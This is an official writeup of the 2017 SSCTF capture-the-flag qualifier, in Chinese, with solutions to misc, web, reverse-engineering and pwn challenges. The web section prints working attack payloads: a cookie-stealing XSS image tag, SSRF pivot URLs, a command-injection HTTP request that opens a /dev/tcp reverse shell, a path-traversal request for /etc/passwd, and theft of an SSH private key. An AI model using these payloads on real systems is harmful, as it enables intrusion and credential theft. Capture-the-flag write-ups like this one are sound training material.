【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛官方 Writeup

admin 2023-12-07 00:12:13 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

http://p8.qhimg.com/t018666303844fd5902.png


传送门

第三届 SSCTF 全国网络安全大赛—线上赛圆满结束!

2017年5月6日-7日,在陕西省互联网信息办公室、陕西省通信管理局指导下,由陕西省网络安全信息协会、西安四叶草信息技术有限公司与北京兰云科技有限公司联合主办,17家大型互联网行业的SRC和14家专业媒体以及新华网、新浪网、搜狐网、凤凰网、陕西网等20多家媒体的大力支持下,第三届SSCTF全国网络安全大赛—线上初赛圆满结束。


杂项

杂项一(签到题)

此次SSCTF签到题不再是简单的个二维码类似的送分题,老司机们都玩腻了,搞了密码大杂烩。

Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==

考察知识点:

Base64

栅栏密码

凯撒密码

解题步骤:

首先base64解码

http://p8.qhimg.com/t01acf7d3cc4810e01b.png

然后栅栏密码解密

http://p5.qhimg.com/t013912041890a19ac4.png

然后rot13解密获得flag

http://p1.qhimg.com/t01e5829224818d809f.png

答案:ssctf{ssCtf_seC10ver#@rabit}

杂项二(flag在哪里)

Flag在哪里主要考察的pcap的数据包分析和git的使用技巧。

1.在网站下载经过处理的流量包

2.用wireshark 进行分析。发现一个与.git相似目录。

http://p0.qhimg.com/t01468c104fc92e7dc8.png

3.然后用githack工具跑

http://p9.qhimg.com/t019df8ef426cd1c3a3.png

4.查看源码,发现有flag,和pass.php,但是没用。

5.联想到可能flag和 pass.php 是以前commit的,用git还原回去

https://p4.ssl.qhimg.com/t0103450efb0b2caacc.png

6.得到flag,flag{xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=}但是里边不是最终提交的flag,需要用pass.php进行解密。

7.解密完提交flag。 Flag{f6daf9bf00e45f52f23d844f20952503}

杂项三(互相伤害!!!)

用Wireshark打开流量包,发现存在多个jpg文件,导出http对象将jpg文件提取出来,如图01所示。

http://p2.qhimg.com/t01362995e3c063c9b1.png

图01

提取出共21个jpg文件,可以看出全部为斗图素材,如图02所示。

http://p0.qhimg.com/t0128d8ddbd91f52cba.png

图02

发现有两张图片经过修改,分别为图03和图04。

http://p8.qhimg.com/t01c25290f82630cf76.png

图03

http://p3.qhimg.com/t016cbbe5e373cc859c.png

图04

图03文字内容可以简单理解为“扔下内衣,交出内裤”,观察斗图素材发现图05符合上述描述。

http://p1.qhimg.com/t01b745e426d5fce08e.png

图05

使用binwalk对文件进行分析,发现里面隐藏了一个zip文件,如图06所示。

http://p4.qhimg.com/t01326e8d19d9f2a5e6.png

图06

使用binwalk对文件进行提取,获取到里面的zip文件,发现需要密码才能解压,如图07所示。

http://p7.qhimg.com/t013d9bc9312575d432.png

图07

图04可以看到一个二维码,扫描二维码,得到一个字符串“U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7

bE9uL8lW/KLfbs33aC1XXw==“

在图04下方可以看到一段小字“本发布会由AES独家赞助”,AES算法属于对称密码,加解密需要提供密码,小字上面的CTF即为密码。通过解密得到明文:668b13e0b0fc0944daf4c223b9831e49。

解压图07的压缩包得到一个二维码,如图08所示。

http://p6.qhimg.com/t012e0a29b46909f315.png

图08

扫描图08得到字符串:“扔下内衣真有一线生机????交出内裤才有活路!!!!“。

发现图08的二维码中心还有一个二维码,将小二维码截取出来,进行反转颜色,得到一个新的二维码,扫码得到flag:flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}

杂项四(我们的秘密是绿色的)

由我们的秘密是green想到:OurSecret这个工具,然后解密还缺一个密码

http://p1.qhimg.com/t0100a4bf9c92a25a10.png

又由绿色的猜测密码0405111218192526

http://p7.qhimg.com/t0161974e723a16f17a.png

https://p2.ssl.qhimg.com/t0100a31695b6a422e0.png

生日格式 xxxx年 xx月 xx日 

又因为文件名字是try,猜测是暴力破解8位纯数字密码

http://p0.qhimg.com/t0178c17a51c78d7ec6.png

得到密码解压获得两个文件

http://p6.qhimg.com/t01609090750e0d7b9e.png

很明显的明文攻击,构建明文攻击条件(将有flag的压缩文件删除掉里边的flag压缩包,然后压缩readme.txt。注意压缩的算法为Deflate,用rar可以轻松实现),然后进行明文攻击。

http://p4.qhimg.com/t0111727cb4962e26e3.png

http://p3.qhimg.com/t01b7279c103b4fa9c7.png

得到密码:Y29mZmVl

http://p0.qhimg.com/t013237bf0315363d4b.png

用winhex打开发现是伪密码,将01改为00

解压得到flag.txt

http://p1.qhimg.com/t01ad5f774604e638fe.png

栅栏密码

http://p5.qhimg.com/t01d3fe2cc766ec8a7b.png

已经出来flag的格式

Rot13

http://p4.qhimg.com/t014dc46167f2712ee8.png

答案:flag{ssctf_@seclover%coffee_*}

杂项五(你知道我在等你么)

0x1.题目:你知道我在等你么

http://p8.qhimg.com/t01a8e22b5c9fa2353c.png

0x2.考察知识点:

隐写

文件标识头

0x3.解题步骤:

拿到题目后用winhex打开文件,发现有pk,也就是压缩包的标识头

http://p1.qhimg.com/t011ec259bd3e3bacdc.png

然后将文件后缀修改为zip,然后解压发现有三个文件

http://p7.qhimg.com/t0178edbc0484862506.png

有提示先看提示

扫码获得:

http://p7.qhimg.com/t0136bb2f47c788305f.png

说是不是让看内容。

http://p7.qhimg.com/t01b70fb931908b9af6.png

压缩包打开发现是加了密码的。

Winhex打开MP3会发现有压缩包的密码

http://p4.qhimg.com/t0164ac45a9382a238d.png

解压之后发现一张coffee的图片,没有无缘无故的文件名字跟内容,winhex打开搜索coffee,还记得提示里边的神龙摆尾么,看一看文件的结尾

https://p1.ssl.qhimg.com/t014dffb05010faa765.png

再看看提示的文件结尾

http://p2.qhimg.com/t01ea7e4d3f73af7c6b.png

Coffee.jpg里边藏了一张png图片,并且标识头还改掉了,就在coffee的地方,还原。

将coffee到文件结尾复制出来,然后新建一个文件,之后按照提示的格式修改文件标识头,修改好后会得到一张图片

http://p5.qhimg.com/t01b677e6d865f4c662.png

是一个二维码,扫描二维码后得到:http://qr07.cn/CuzwSv

访问得到:

http://p0.qhimg.com/t011df027ab4fc56134.png

下载后打开发现:

http://p5.qhimg.com/t01986406aa0b6fdf99.png

又是一个压缩包

http://p7.qhimg.com/t01f8125c40dc67772b.png

修改后缀后打开,发现有以下提示。。。

http://p6.qhimg.com/t019a74eafd659cdb7e.png

压缩包伪密码,修改为0

修改完解压得到

http://p2.qhimg.com/t0162527810a0a19e5c.png

Base64码

http://p7.qhimg.com/t015eedb174cea38d5c.png

解码获得keyis%7Bsec1over%25_6ugscan_@coffee%7D

然后url解码获得:

http://p1.qhimg.com/t01e4b7288397f64624.png

答案:keyis{sec1over%_6ugscan_@coffee}


Web渗透

Web一(弹幕)

http://p3.qhimg.com/t01bc927965b14ae089.png

打开chrome F12,过滤ws类型,可以看到bot会尝试攻击每一个刚进入的玩家

Welcome, 61.1**<img src="/static/images/welcome.gif" onload="c=encodeURIComponent(document.cookie);if(c.length>32){a=new Image();a.src='/xssHentai/request/1/?body='+c;}">

1. 只有当cookie长度大于32的时候才会攻击,这应该也是一开始没人发现的原因

2. Bot使用的XSS平台是弹幕这个服务器自带的登录xss平台,发现需要输入密码,这时注册一个进去

http://p1.qhimg.com/t0175f20f3abc48806a.png

可以看到登录cookie里有一个flag,但只有uid=1的“人”才会有,它就是bot

http://p1.qhimg.com/t01231eee541567e591.png

所以思路就很清晰了,反打bot的xss平台的xss

/xssHentai/request/1/?body={{payload}}

没有做任何限制,而且也不算盲打,因为有注册功能,可以自己先测试成功,再打bot。

所以到最后限制弹幕只能发8个字符,也有提示的意思,弹幕这里没flag。

Web二(捡吗?来自FFF的思路)

给了个页面,查看源码发现ssrf,根据自身的phpinfo找到本机内网IP:10.23.140.139,根据hint给出的 10.23.173.x 地址段进行扫描,找到 10.23.173.190,查看源码发现新IP:172.17.0.1

以下是当时记录的fuzz过程

一次跳板扫描内网

/news.php?url=10.23.173.190
host1   http://120.132.21.19/ (公)->10.23.140.139 (内)
host2   10.23.173.190 (内) -> 172.17.0.1(内)

以上地址端口扫描结果只有22和80

C段使用端口探测(无结果:22/80/443/23/6379-redis/8080/11211)

两次跳板扫描内网

/news.php?url=172.17.0.1/news.php%3Furl%3D127.0.0.1
公网120.132.21.19->172.17.0.1 ->172.17.0.0/24  未发现其他主机
公网120.132.21.19->10.23.173.190-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 172.17.0.0/24 未发现其他主机(和公网访问的一样)
公网120.132.21.19->172.17.0.1-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->172.17.0.1-> 127.0.0.1 未发现内容
公网120.132.21.19->10.23.173.190-> 127.0.0.1 未发现内容

这段fuzz用了好长时间最终也没有找到结果,后来hint告知了ftp协议才做出来。

http://p7.qhimg.com/t0162806ba29523b138.png

最终payload是在大小写绕过的基础上用ftp协议fuzz 21端口得到的结果

http://120.132.21.19/news.php?url=10.23.173.190/news.php%3furl%3dftP%3a//172.17.0.2:21/flag.txt

http://p4.qhimg.com/t01df1c3984f5950840.png

这题在hint之前我自己并未想到使用ftp协议,原因是当时看到公网SSRF入口页面是这样给的:

<img src="./news.php?url=127.0.0.1/img.jpg">

而读到内网10.23.173.190之后的页面是这样给的:

<img src="./news.php?url=http://172.17.0.1/img.jpg">

当时我已经注意到这里多了个http协议,随后我在payload里加上http协议发现读不到内容,而去掉该协议能够读到内容,换成其他协议也读不到内容,因此猜想背后的php逻辑是这样的:

$url = 'http://'.$_GET['url']

在第二个页面里作者为了提示出第三个网段(172.17.0.1),肯定要手动修改这个页面,也许是习惯性的加了个HTTP。而且这是第一道WEB题,做两跳+fuzz已经对得起这100分了。

事实证明这个http://是一个重要的线索,当时应该再心细一点,测试协议时候再试试绕过,这题就能够更早解出来。

Web三(白吗?来自FFF的思路)

题如其名,全是套路。

当时记录的黑盒fuzz结果:

http://120.132.20.149/l.php phpstudy 的phpinfo

http://120.132.20.149/phpinfo.php phpinfo

http://120.132.20.149/phpMyAdmin/ 这个页面好像是静态的,无功能http://120.132.20.149/readme 有很多信息,同时readme.txt也有,很可能是主办方搅屎,不一定可信

web主页被注释的form里只有./submit.php能用,无论怎么提交都是

<script>alert('success');window.location.href='index.php'</script>

/admin的登录界面提交给/admin/check.php,这个页面随意修改参数返回的也都是一样的。

http://120.132.20.149/admin/main.php 固定返回一个<script>,估计也是假的。。。

后来师傅fuzz到了wwwroot.zip然后开始crack,最终发现zip也是假的。

最终队友在web1出了之后,得知SSRF第二跳可以变协议,用file://协议读了本地路径,发现除了/submit.php之外都是静态页面,读取/submit.php源码:

http://p2.qhimg.com/t01d0420f6b6ff41620.png

通过三个线索判断这题是XSS:

hint给出的“flag不在数据库中”

源码的“XSS”变量名

黑盒/readme指出的 "1.数据库中每增加一条ID,访问一次"

通过前台测试XSS成功,在referer中发现触发XSS的页面地址:

http://127.0.0.1/admin/b9557ee76eeb61cadda090855a47d266-1.php?id=77930

然后直接file协议读之,得到新路径js.php,再读之得到flag。

利用了web1的SSRF漏洞读取web3的源码才得以突破,可能是非预期解法。

那么另一个解法就是利用web3注释掉的这个form盲打XSS,然后从document.header.innerHTML 中得到 js.php 这一文件名,然后控制admin访问得到flag。

Web四(WebHook)

1.思路是先审计代码,然后发现可以控制zip命令的参数,也就说算的上是一个任意文件下载的漏洞。

2.但要执行到build函数,就需要在repos.json中增加自己的项目地址,也就是说调用addrepo

3.要执行addrepo,就需要知道app.config['SECRET_KEY']

4.到这里思路就断了,再次审计代码发现有python格式化漏洞

            before = post.get("before") or ""
            msg = "recived push repo:{name} with before n"
            msg += json.dumps(before, indent=4)
            webhooklog.info(msg.format(**locals()))

5.webhooklog是不需要认证就可以读,所以通过before可以泄露出来repos.json中的内容

{"flag": {"url": "https://git.coding.net/ljgame/flag.git", "pass": "d64536833fe79f17fb7f9e0329ee7b47"}}

http://p9.qhimg.com/t01f1d6b8f6dc4f0bc8.png

通过pass这个MD5是能反解的,所以就得到了app.config['SECRET_KEY']

6.此时查看flag项目,发现zip包中并没有flag

7.调用addrepo之后,构造build.json,打包flag项目目录,下载下来的之后发现没有其他分支,在之前的commit中也没有flag

8.尝试打开flag的项目地址,发现是私有项目,再次检查.git中并没有配置账号密码

9.只能是通过私钥的方式webhook服务器才能拉去flag项目,那么最终就是偷私钥

10.私钥常见就是那么几个目录,最终在/home/www-data中找到(www-data在webhook.conf中有提示)

来自FFF的解题思路

一道不错的Python审计题,过程中出题人根据选手流量多次热补丁,shell失而复得,最后通过文件读取拿到flag。

题目只给出源码 https://github.com/howmp/webhook 

源码有6个commit,开赛的时候只有第一个commit,后面是比赛时上的补丁。

本地起环境,看了一下逻辑,得到代码在公网部署的地址,然后跟进os.system很快发现两处命令执行。

这两个执行在build()函数的url参数和branch参数。

if not os.path.isdir(basedir):
    r = os.system("git clone %s" % url)
    if r != 0:
        log.critical('%s clone error' % name)
        return
    else:
        log.info('%s clone ok' % name)
env = 'GIT_DIR="%s/.git" GIT_WORK_TREE="%s/" ' % (basedir, basedir)
# change branch
r = os.system(env + "git checkout master && " + env +
              "git pull && " + env + " git checkout %s" % branch)

继续跟进发现限制如下:

1. url参数命令执行需要得到 SECRET_KEY

2. branch参数的命令执行需要得知 repos.json 已有仓库的名字

branch参数RCE

访问公网http://webhook.ssctf.seclover.com:8000/webhooklog找了一个别人用过的仓库名,通过branch参数的命令执行反弹了第一个shell

POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: 101
{"repository":{"name":"flag"},"ref":"refs/heads/test || bash -i >& /dev/tcp/x.x.x.x/x 0>&1"}

拿下shell后进去开始找flag,过程中ps一下发现别人也进来了,当时为了抢一血也没管那么多,找了一会发现服务器挂了。

再次上线的时候主办方说发公告说这个漏洞已经补啦,同时在github更新了代码。

https://github.com/howmp/webhook/commit/05b2693b89e7a05bff2fd96e9168c6f33930fef4   

这个patch中直接写死了branch参数导致该漏洞无法再被利用。

url参数RCE(1)

url参数的利用稍微复杂,需要先通过addrepo()函数修改repos.json,其中有一行校验权限。

if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
        abort(403)

这里幸亏我刚刚拿shell的时候cat了源码,看到了SECRET_KEY='ssctf',然后过了这个检验,写入成功,然后执行拿shell。

然后官方发布第二个patch补了这个漏洞。

https://github.com/howmp/webhook/commit/cd066a896d45a8a8509c8248d02c670e63ebe507 

url参数RCE(2)

这个patch修补方案是用正则过滤了一下url参数。

m = re.search(r'https://(github.com|git.coding.net)/w+/(w+).git', url)
if not m:
    abort(403)

显然正则是可以绕过的:https://github.com/xxx/xxx.git || shell

然而官方又甩来一记补丁。

https://github.com/howmp/webhook/commit/33fc0e368fcd7dc09f48a81c37ccfd901fd31f54 

补丁更新了正则,看样子是过不去了。

r'^https://(github.com|git.coding.net)/w+/(w+).git$'

任意文件读取

这个时候我发现一血已经出了,索性放松下来再去看源码,发现 dir_listing() 函数一处登录后的文件读取:

@app.route('/', defaults={'req_path': ''})
@app.route('/<path:req_path>')
@auth.login_required
def dir_listing(req_path):
    BASE_DIR = os.path.join(app.root_path, 'outfile', session['repo'])
    # Joining the base and the requested path
    abs_path = os.path.join(BASE_DIR, req_path)
    if os.path.isfile(abs_path):
        return send_file(abs_path)

这里输入req_path的输入是在路由中。利用方式是首先通过 SECRET_KEY 构造 addrepo() 的 key 参数。

>>> md5.md5('pocserver'+s*20+'pocserver').hexdigest()
'7d6b51081d6daa9afcff082359c20d2d'

然后通过GET /addrepo上传一个repo,注意url要真实有效,repo/pass参数为自己设置的登录名和密码。

http://webhook.ssctf.seclover.com:8000/addrepo?repo=pocserver&key=7d6b51081d6daa9afcff082359c20d2d&url=https://github.com/Xyntax/pocserver.git&pass=fff

上传返回OK后,GET / 填入repo和pass完成登录后通过路由即可读取任意文件。

GET /../../../../../../etc/passwd HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Cache-Control: max-age=0
Authorization: Basic cG9jc2VydmVyOmZmZg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: session=eyJyZXBvIjp7IiBiIjoiY0c5amMyVnlkbVZ5In19.C--N3Q.I4NedA1Bak0NauDznRmYm-UMo2w
Connection: close

最终在 .bash_history 中看到管理员指向性操作。

https://p4.ssl.qhimg.com/t018b7c215508c4c886.png

然后读取 /home/www-root/.ssh/id_rsa 复制到本地

http://p2.qhimg.com/t01919eee56f9d134ae.png

登录clone该项目,拿到flag

http://p8.qhimg.com/t01eaf797f4317a604d.png

随后官方又更新了两个patch修复该漏洞

https://github.com/howmp/webhook/commit/aec06914bc7b3b5d735a4f49e7892020ac1c7ee8 

期待大佬们的其他思路,这题很精彩。

Web五(CloverSec Logos)

Web500考察的点注入、文件包好和PHP反序列化漏洞。

http://p4.qhimg.com/t014bf3569e65217158.png

http://p6.qhimg.com/t013e4b3d842588b603.png

Fuzz测试发现过滤or、and、/、–、#、空格、转移符

https://p2.ssl.qhimg.com/t01b0fb8af28b49eb25.png

构造注入的PayLoad如下:

http://p5.qhimg.com/t019f1b478b7b847d7f.png

http://p8.qhimg.com/t01fe4e1d7076cb7f7c.png

20位的密码应该比较熟悉dedecms的加密方法,去前3后1得到解密admin^g

http://p3.qhimg.com/t01977af481d0e9aca2.png

https://p5.ssl.qhimg.com/t01c23c092a0661ffc0.png

Token需要被序列化,另外题目提示vim编辑会得到swp文件

http://p6.qhimg.com/t0131b4abb3e85168ee.png

http://p1.qhimg.com/t01a603308cc902d620.png

可以看到需要够着几个参数secret和token的信息

http://p7.qhimg.com/t0171a704f34ab8a916.png

反序列化后需要绕过对象过滤

修改如下

http://p2.qhimg.com/t0157e7d43f7672dd3c.png

读取源码

http://p7.qhimg.com/t0122bb4eade6e7cd6f.png

读取inlcude.php泄露的看出flag在ssctf_flag文件

http://p5.qhimg.com/t01bb5b9b815f50d1e2.png

看到并没有读取到flag

使用php伪协议试试

http://p3.qhimg.com/t01d405f4d30bbbb16f.png


逆向

逆向一(加密勒索软件)

1.打开app,界面提示需要设置密码,注意这里只允许输入数字,设置密码后提示文件已加密,按钮文字变成“解密”。点击解密提示“刷脸试试”, 没有提示成功,接下来逆向分析代码逻辑。

2.使用jadx打开后,按钮点击函数代码如下:

http://p1.qhimg.com/t013522081f78f0218c.png

这段代码先从SharedPreferences中读取“ctf1”配置,如果是0表示没有加密,否则表示已加密。如果没加密,进入“if (!isEncrypted) ”流程,把输入内容保存到key,要求key是6位长度。然后调用check函数参数就是输入内容,接着提示“文档已加密,请联系xxx解密.”并设置“ctf1”配置为1保存到SharedPreferences;如果已加密,进入“else if (Main.this.check2(Main.this.flagView.getText().toString())) ”流程,调用check2函数,参数是输入内容。猜测check函数就是加密文档的函数,check2应该就是解密函数了。

3.先大概看一下check函数和check2函数,发现check函数有调用encode函数,该函数內有文件读写操作,那就可以确认,check函数是用来加密文档的;但check2函数调用却没有文件读写操作,这也就说明了check2函数就没有解密文档,按题目提示“这个app类似于一个无良勒索软件”,根据代码分析,这个勒索软件根本没有提供解密功能,需要分析加密算法,对文档进行解密。

4.分析check函数加密算法,对文件进行操作是在encode函数,

可以直接看encode代码,发现关键代码就是每隔0x100进行一个异或:

http://p3.qhimg.com/t011f82798551fdfef4.png

k1数组是之前运算结果,因为有对k1下标进行取余操作,所以是没法逆回来的,而且会有多解可能。由于是异或,输入密码只有6位数字,可以爆破。

5.直接爆破对ctf1_encode.xlsx进行再次异或即可,但生成文件太多验证起来很麻烦。这里有个技巧,先创建几个xlsx文件,输入内容后保存,再使用010editor打开16进制查看,发现中间会有大段0字节:

http://p9.qhimg.com/t011e1ad1fcee9f6f12.png

然后再看ctf1_encode.xlsx,可以发现大段0字节中间有个别是有内容的和异或位置对应:

http://p8.qhimg.com/t013c2ae8d0e2a4bf96.png

0x100=0x57,0x200=0x28,0x400=0x75,0x500=0x67,结合0x00字节异或结果,可以编写爆破算法根据这些位置字符判断,能极大减少生成的xlsx文件样本。

6.完整代码如下:

http://p4.qhimg.com/t01613a9ecd5ed2da2e.png

运行后得到多个key和xslx文件,打开文件即可看到flag:SSCTF{G0odJo13!}

http://p3.qhimg.com/t01d89cb7f91639ef90.png

逆向二(Login) 

1. 打开app只有输入框和按钮,直接使用jadx反编译分析,发现有代码混淆而且有乱码,打开jadx的反混淆功能再看按钮点击代码:

http://p9.qhimg.com/t01e089eaa22ef22452.png

可以发现输入长度必须是12位。关键代码在红框所示2行。如果C0233a.m17a返回true,则调用f15.m16,在m16函数中调用了Toast,这里很可能就是显示flag了。

http://p5.qhimg.com/t015900990edefe5a9b.png

传入的第一个参数是输入的内容,第二个参数是一个字符串常量。继续分析C0233a.m26,发现又调用了m28,而这个函数是用的AES算法,秘钥是输入内容的utf-8的bytes数组。

http://p4.qhimg.com/t019c5f204ce6d58e41.png

经过上面分析,必须让C0233a.m17a返回true,然后就能弹出Toast得到flag了。查看C0233a.m17a函数:

http://p9.qhimg.com/t010cbaeb78817764d5.png

只有C0233a.m19b可能返回true。m19b是一个md5算法,根据在线md5破解查到"cfcd208495d565ef66e7dff9f98764da"是0,而这里i只有相加操作,m21函数最后调用的是AES加密,然后反推charAt必须等于0,再看传入的2个参数,经过的运算是一样的,所以参数str必须和str2相同,所以,m17a就是判断两个字符串是否相同。

再返回onClick函数分析

C0233a.m27(JniTest.getValue(editable.getBytes("utf-8")) 的结果应该和"01635e6c5f2378255f27356c11663165"相同。重点就在native的getValue函数了,对应在so库中是Java_com_seclover_ctf2_JniTest_getValue函数。该函数是一个base64变形算法,码表做了修改,另外对第一位、第二位做了异或。可以直接编写解码函数,完整代码如下:

http://p3.qhimg.com/t01ae0093ebb3db630c.png

运行后得到“VVe1lD0ne^-^”,进入app输入,得到flag: SSCTF{C0ngraTu1ationS!}。

逆向三(伪勒索软件)

文件的编码和时间有关系! Flag文件被编码的时间实际为:2017/5/2  17:54:30至18点前,进行了多次编码。

http://p8.qhimg.com/t019daafaee353f7489.png

题目编码分为4种:

1.简单xor。

http://p6.qhimg.com/t015cbe0ad8229defbb.png

2.Base64(结果替换)。

http://p7.qhimg.com/t011aac8287ed88fbe5.png

3.Md5(时间的小时值),然后进行简单xor。

https://p3.ssl.qhimg.com/t01bddba31972c87708.png

4.Rc4(时间:年月日)。

http://p4.qhimg.com/t01329dae45fdca5e1b.png

打开程序后,并不会直接去编码文件。而是等到退出时候才对后缀为SSCTF的文件进行编码(可重复叠加)。

编码规则:

1.读取文件。如果蜂鸣器音乐线程被关闭则,产生随机数参与编码,否则使用11。

https://p1.ssl.qhimg.com/t012bb3b3bf13c0857f.png

2.根据时间(24小时制的小时数)决定模式。12<time<18: 1,18<time<23||0<time<5: 2。其他的:3。

http://p1.qhimg.com/t01b75c976230698935.png

3.根据模式进行分段,然后编码。

http://p5.qhimg.com/t0178b32d2c407f4e6b.png

4.将原始长度,写入模式进行XOR时间编码产生Info。

http://p7.qhimg.com/t01cc1aed41544080c2.png

5.根据模式进行分段组合。

http://p8.qhimg.com/t019a1dc69d6c9b78cb.png

6.写文件,完毕。

http://p5.qhimg.com/t0108c4add85ccbbc91.png

读取模式:

1.xor->Base64->Md5->Rc4。

2.Md5->Base64->Rc4->xor。

3.Rc4->Md5->xor->Base64。

写入模式:

1.Info->Base64->Rc4->Md5->Info->xor。

2.Info->Base64->xor->Info->Md5->Rc4。

3.Info->xor->Rc4->Md5->Info->Base64。

解码规则:(需要自行编写,EXE中无解码函数)

1.读取文件。

2.根据解码后的Info选择模式。

3.根据模式解码分段。

4.根据Info选择逆写模式。

5.写文件,结束。

写好解码器后填写相应的时间。然后进行解码,直到文件内容不再为乱码即可。可以发现解码后文件内容为DOC格式。使用WORD打开,即可看到FLAG。

https://p0.ssl.qhimg.com/t01f6cf29fcb81ee7c8.png

逆向四(魂斗罗)

通关并没有什么用,游戏只是用来消遣。不会提供任何信息,担心有些人钻牛角尖,非要打通关,所以给提供内置外挂,将生命锁定为无限。并且将题目核心放在内置外挂的启动函数中。

https://p2.ssl.qhimg.com/t01761b9c9c385978ae.png

可以看到会弹出对话框,提示不要关闭,但是不关闭就无法执行实际的代码。所以必须关闭对话框,来执行核心函数。

http://p3.qhimg.com/t01799e23f2d1349b9a.png

核心函数是2个Shellcode嵌套在一起。1级Shellocode目的是为了将2级shellcode(本身一部分被xor 0xcc编码过)注入到explorer.exe进程中,所以必须是32位系统才会真的执行二级Shellcode。所以在32位系统中,调试explorer.exe,中断于新线程启动。在2级解码自身后,即可看见真正的核心。

分析核心代码。发现是对c:flg文件进行编码。

编码分为2种:

1.多重xor,置换。

http://p0.qhimg.com/t01a0023a64e5d90277.png

2.base24编码。

http://p2.qhimg.com/t01fd861daf8c1e2b25.png

经过编码后,使用编码数据覆盖原始文件数据。所以根据编码算法,写出解码函数。

运行,直到文件内容不再为密文。可以发现文件内容为DOC文件格式,使用WORD打开。即可看见Flag。

http://p2.qhimg.com/t01892943ffe7f4da52.png


PWN

逆向一(Word2003)

CVE-2010-3333。 因为Mso.dll里存在栈溢出,WORD2003无DEP,无ASLR。所以直接执行Shellcode即可。

很普通的栈溢出

漏洞函数位于mso.dll的0x30f4cc5d

http://p5.qhimg.com/t0134ca9ad1cb3b6a69.png

当a7不为0时,会调用一个函数指针,动态跟踪可以发现这个函数指针指向的函数是将doc文档数据复制到栈中,并且没有检查边界,造成栈溢出。

跟进sub_30f4cb1d函数中:

http://p1.qhimg.com/t0113b4198bd82a2a4c.png

会发现当第5个参数为0时会直接返回,而第五个参数刚好是漏洞函数的第七个参数,栈溢出时会将其覆盖,所以exploit时要保证a7处为0

因为这个word版本未开dep,所以直接jmp esp覆盖返回地址,然后执行就好了

剩下的就是shellcode的编写了

逆向二(Pwn2)

http://p7.qhimg.com/t010813bf60bb5113f5.png

存在栈溢出。构造ROP链获得Shell即可。

逆向三(本地提权来自FlappyPig的思路)

win32k!bGetRealizedBrush空指针引用。所以在零页填写相应数据数据,然后替换token即可。

kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401        test    byte ptr [eax+24h],1       ds:0023:00000024=??

这个位置eax引用了0x0,需要跟踪这个eax由什么地方得到,首先分析win32k!bGetRealizedBrush函数。

int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{

函数定义了3个变量,其中a3是EngRealizeBrush函数,a1是一个BRUSH结构体,a2是一个EBRUSHOBJ结构体,而漏洞触发位置的eax就由EBRUSHOBJ结构体得来,跟踪分析一下这个过程。

kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334          mov     eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值,交给eax,这个值为0
969e055a 8b401c          mov     eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c          mov     dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0,引发无效内存访问
969e0560 f6402401        test    byte ptr [eax+24h],1

经过上面的分析,我们需要知道,EBRUSHOBJ+34h位置存放着什么样的值,直接来看EBRUSHOBJ结构体的内容。

kd> dd 8effcaf8
8effcaf8  ffffffff 00000000 00000000 00edfc13
8effcb08  00edfc13 00000000 00000006 00000004
8effcb18  00000000 00ffffff fe96b7c4 00000000
8effcb28  00000000 fd2842e8 ffbff968 ffbffe68

这里+34h位置存放的值是fd2842e8,而fd2842e8+1c存放的是

kd> dd fd2842e8
fd2842e8  108501ef 00000001 80000000 874635f8
fd2842f8  00000000 108501ef 00000000 00000000
fd284308  00000008 00000008 00000020 fd28443c
fd284318  fd28443c 00000004 00001292 00000001

这里对象不明朗没关系,来看一下+1c位置存放的是什么样的结构,通过kb堆栈回溯(这里由于多次重启堆栈地址发生变化,不影响调试)

kd> kb
 # ChildEBP RetAddr  Args to Child              
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339

跟踪外层函数调用,在NtGdiFillRgn函数中

            EngPaint(
              (struct _SURFOBJ *)(v5 + 16),
              (int)&v13,
              (struct _BRUSHOBJ *)&v18,
